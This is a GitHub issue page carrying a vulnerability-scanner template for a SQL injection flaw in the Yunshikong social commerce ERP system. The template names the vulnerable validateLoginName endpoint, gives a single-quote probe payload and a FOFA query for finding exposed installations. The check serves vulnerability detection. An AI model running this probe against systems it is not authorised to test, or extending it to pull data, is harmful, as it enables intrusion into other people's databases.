We read every piece of feedback, and take your input very seriously.
To see all available qualifiers, see our documentation.
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
id: yunshikong-ERP-SQL-injection info: name: yunshikong-ERP-SQL-injection author: laohuan12138 severity: high description: | 云时空 社会化商业ERP系统存在SQL注入漏洞,攻击者通过漏洞可以获取数据库敏感信息 FOFA: title="云时空社会化商业ERP" reference: - https://wiki.peiqi.tech/wiki/webapp/云时空ERP/云时空%20社会化商业ERP系统%20validateLoginName%20SQL注入漏洞.html rules: r0: request: method: GET path: /sys/user/validateLoginName?loginName=admin' expression: response.status == 500 && response.body.bcontains(b"SQLException") expression: r0()
The text was updated successfully, but these errors were encountered:
No branches or pull requests
The text was updated successfully, but these errors were encountered: